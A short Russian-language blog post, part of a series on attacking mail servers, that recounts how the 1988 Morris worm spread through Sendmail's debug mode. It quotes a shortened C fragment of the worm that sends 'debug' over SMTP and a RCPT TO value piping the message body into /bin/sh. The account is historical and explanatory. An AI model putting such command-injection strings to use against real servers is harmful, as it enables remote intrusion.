Posted by admin on Март 19, 2008

Атака на почтовый сервер. Часть 3.

Первый громкий прецедент произошел осенью 1988 года, когда по сети расползся червь Морриса. Один из способов распространения заключался в использовании отладочного режима в программе SendMail. Отладочный режим служил для удаленного управления почтовым демоном и позволял выполнить команды, передаваемые в теле письма. Остальное, как говорится, было делом техники. Вирус посылал «затравку» на языке Си с указанием откомпилировать ее и запустить. «Затравка» стирала заголовки почты, способные пролить свет на ее происхождение, и, связавшись с отправителем, «перетягивала» на сервер все остальные модули червя.

Ниже приводится фрагмент кода вируса (с небольшими сокращениями), демонстрирующий как он использовал отладочный режим (жирным цветом выделены строки, передаваемые им на сервер по SMTP-соединению).

 

·          send_text(s, "debug");

·          ...

·          #define MAIL_FROM "mail from:</dev/null>\n"

·          #define MAIL_RCPT "rcpt to:<\"| sed \'1,/^$/d\' | /bin/sh ; exit 0\">\n"

·          ...

·          send_text(s, MAIL_FROM);

·          i = (random() & 0x00FFFFFF);

·          sprintf(l548,MAIL_RCPT, i, i);

·          send_text(s, l548);

Add A Comment

видео по запросу